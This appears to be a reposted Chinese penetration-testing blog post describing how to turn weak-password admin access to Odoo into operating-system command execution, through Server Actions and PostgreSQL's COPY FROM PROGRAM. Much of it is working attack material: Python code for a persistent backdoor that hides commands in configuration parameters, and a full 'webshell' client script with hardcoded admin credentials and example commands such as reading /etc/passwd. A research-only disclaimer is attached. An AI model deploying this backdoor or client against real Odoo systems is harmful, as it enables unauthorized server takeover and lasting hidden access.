文章总结: 本文详细记录了Odoo系统从弱口令登录到获取服务器权限的完整攻击链:弱口令进入后台、开启开发者模式、创建ServerAction执行Python代码、利用PostgreSQL的COPYFROMPROGRAM执行系统命令,并提供了将命令执行封装为持久化后门的完整代码与客户端工具。文章技术细节完整,可操作性强,并附有安全研究免责声明。 综合评分: 88 文章分类: 渗透测试,红队,漏洞分析,内网渗透,安全工具
odoo 渗透测试
vector的一天天 vector的一天天
vector的一天天
2026年8月28日 15:19 福建
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
声明:本文仅用于安全研究、漏洞验证和防御分析,请勿对未经授权的系统进行测试。文中的目标信息、账号、ID 等均已脱敏。
odoo接触比较少,记录拿到odoo管理员权限后如何命令执行
弱口令登录 → 获得后台管理权限 → 开启开发者模式 → 创建/执行 Server Action → 利用 PostgreSQL COPY … FROM PROGRAM 执行操作系统命令 → 获取 Odoo 运行账户权限。
一、漏洞入口:弱口令
攻击的第一步并不复杂。
目标 Odoo 系统存在默认或弱口令,例如:
用户名:admin密码:********
攻击者成功登录以后,如果该账户拥有足够的后台权限,就不需要再寻找传统的 Web 漏洞。
Odoo 本身提供了大量后台管理能力,包括:
模型管理
自动化规则
Server Action
Scheduled Actions
数据库配置
开发者工具
因此,一个看似普通的“弱口令问题”,在高权限账户场景下可能进一步演变成服务器级命令执行。
二、开启开发者模式
登录 Odoo 后,可以进入开发者模式。
随后在后台找到:
Technical
└── Automation
└── Scheduled Actions
在相关自动化任务中,可以看到不同类型的 Action。
其中需要重点关注:
ir.actions.server
Server Action 是 Odoo 自动化机制的重要组成部分,它能够执行 Python 代码。
这里也是整个攻击链的关键转折点。
一旦攻击者能够创建或者修改具有足够权限的 Server Action,那么问题就不再只是“后台权限”。
而可能进一步变成:
任意 Python 代码执行 → 数据库操作 → 操作系统命令执行。
默认是无法直接执行python 命令执行代码,odoo有沙箱防护。
开启开发者模式,选择Scheduled Actions,选择mode “ir.actions.server”
三、Server Action 为什么危险?
Odoo 的 Server Action 可以访问当前 Odoo 环境,例如:
env
通过 env 可以访问 Odoo ORM、数据库游标等对象。
例如:
env.cr.execute(…)
本质上就是直接操作 PostgreSQL 数据库连接。
在正常业务场景中,Server Action 可以用于:
自动更新字段
创建业务记录
发送通知
执行业务逻辑
但如果攻击者已经能够编写任意 Server Action,那么数据库连接本身就可能成为进一步攻击的入口。
四、PostgreSQL 的 COPY FROM PROGRAM
这也是本次案例中最值得关注的技术点。
PostgreSQL 提供了:
COPY … FROM PROGRAM
该功能允许 PostgreSQL 服务端执行一个操作系统程序,并把程序输出读取到数据库中。
在安全配置允许的情况下,类似逻辑可以形成:
Odoo Python
↓
PostgreSQL
↓
COPY FROM PROGRAM
↓
Operating System
例如测试环境中,可以使用一个无破坏性的身份确认命令验证执行权限:
env.cr.execute("CREATE TEMP TABLE IF NOT EXISTS cmd_exec(output text);")
env.cr.execute("""COPY cmd_exec FROM PROGRAM 'whoami';""")
env.cr.execute("SELECT output FROM cmd_exec LIMIT 1;")res = env.cr.fetchone()
raise UserError(f"Linux Command Output: {res}")
代码填写位置
运行按钮
返回结果
其他可以执行代码的位置:
六、进一步的风险:把命令执行封装成后门
如果攻击者拥有 Server Action 的修改权限,那么还可能进一步把命令执行逻辑封装起来。
例如,可以看到一种典型的攻击思路:
配置参数
↓
保存待执行指令
↓
Server Action
↓
PostgreSQL COPY FROM PROGRAM
↓
保存执行结果
↓
再次通过 Odoo API 获取结果
这样一来,攻击者就不需要每次都修改 Server Action。
只需要改变某个配置参数,然后触发对应的 Server Action 即可。
从攻击者角度看,这实际上已经形成了一个简易的:
Odoo 应用层 WebShell
其本质结构类似:
Command Input
↓
ir.config_parameter
↓
Server Action
↓
PostgreSQL
↓
OS Command
↓
Result Storage
↓
HTTP API
后门的代码:
_c = env['ir.config_parameter'].sudo().get_param('_ws_cmd', '')if _c: env.cr.execute("DROP TABLE IF EXISTS _ws_t") env.cr.execute("CREATE TEMP TABLE _ws_t(x text)") env.cr.execute("COPY _ws_t FROM PROGRAM '" + _c.replace("'","''") + "'") env.cr.execute("SELECT string_agg(x, chr(10)) FROM _ws_t") _r = env.cr.fetchone() env.cr.execute("DROP TABLE IF EXISTS _ws_t") _out = str(_r[0]) if _r and _r[0] else '' env['ir.config_parameter'].sudo().set_param('_ws_r', _out[:8000])
客户端代码
#!/usr/bin/env python3"""Odoo Webshell Client - curl 版 (requests 被目标断了)目标:
用法: python3 ws.py "id" python3 ws.py "ls -la /tmp" python3 ws.py "cat /etc/passwd""""
import subprocessimport jsonimport sysimport time
URL = "http://localhost"COOKIE_FILE = "ws_cookie"DB = "odoo"USER = "admin"PASS = "admin"ACTION_ID = 426
def api(endpoint, payload, timeout=30): """调用 Odoo API,用 curl""" with open("ws_payload.json", "w") as f: json.dump(payload, f)
cmd = [ "curl", "-sk", "-b", COOKIE_FILE, "-c", COOKIE_FILE, "--connect-timeout", "10", "--max-time", str(timeout), f"{URL}/{endpoint}", "-H", "Content-Type: application/json", "-d", "@ws_payload.json" ] r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout + 5) try: return json.loads(r.stdout) if r.stdout else {"error": r.stderr} except json.JSONDecodeError: return {"error": f"JSON decode failed: {r.stdout[:200]}"}
def login(): """登录""" r = api("web/session/authenticate", { "jsonrpc": "2.0", "method": "call", "params": {"db": DB, "login": USER, "password": PASS}, "id": 1 }) uid = r.get("result", {}).get("uid") if not uid: print(f"[-] 登录失败: {json.dumps(r, indent=2)[:300]}") sys.exit(1) return uid
def run_cmd(cmd, retry=3): """通过 webshell 执行命令""" for i in range(retry):
Step 1: 设命令 api("web/dataset/call_kw/ir.config_parameter/set_param", { "jsonrpc": "2.0", "method": "call", "params": { "model": "ir.config_parameter", "method": "set_param", "args": ["_ws_cmd", cmd], "kwargs": {} }, "id": 1 }, timeout=15)
Step 2: 立刻触发!(cron 随时覆盖) r2 = api("web/dataset/call_kw/ir.actions.server/run", { "jsonrpc": "2.0", "method": "call", "params": { "model": "ir.actions.server", "method": "run", "args": [[ACTION_ID]], "kwargs": {} }, "id": 2 }, timeout=30)
触发成功 or _ws_cmd 被 cron 清空了 if not r2.get("error"): break time.sleep(0.2) # Step 3: 等命令执行完 time.sleep(2) # Step 4: 读结果 r3 = api("web/dataset/call_kw/ir.config_parameter/get_param", { "jsonrpc": "2.0", "method": "call", "params": { "model": "ir.config_parameter", "method": "get_param", "args": ["_ws_r"], "kwargs": {} }, "id": 3 }, timeout=15) return r3.get("result", "")def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command>") print(f"Example: {sys.argv[0]} 'id; hostname; uname -a'") print(f"Example: {sys.argv[0]} 'ls -la /tmp'") sys.exit(1) cmd = " ".join(sys.argv[1:]) print(f"[] 登录 {URL} ...") uid = login() print(f"[+] uid={uid}, db={DB}") print(f"[] 执行: {cmd}") output = run_cmd(cmd) if output: print(f"[+] 输出:\n{output}") else: print("[-] 无输出 (cron 抢了, 再试一次)")if name == "main": main()
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:vector的一天天 vector的一天天 vector的一天天《odoo 渗透测试》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论